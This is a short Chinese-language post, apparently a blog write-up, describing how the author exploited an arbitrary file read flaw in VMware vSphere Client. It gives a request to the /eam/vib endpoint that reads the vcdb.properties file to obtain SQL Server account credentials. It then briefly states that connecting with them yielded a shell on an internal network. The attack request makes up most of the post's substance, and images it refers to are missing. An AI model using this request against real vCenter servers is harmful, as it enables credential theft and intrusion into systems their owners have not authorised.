记一次 VSphere Client 任意文件读取漏洞的利用过程

前端长这样：

方法如下：

访问连接

1.1.1.1/eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties

会读取到SQL server账户密码

然后连接

Ge’tshell 成功。前提要在一个内网。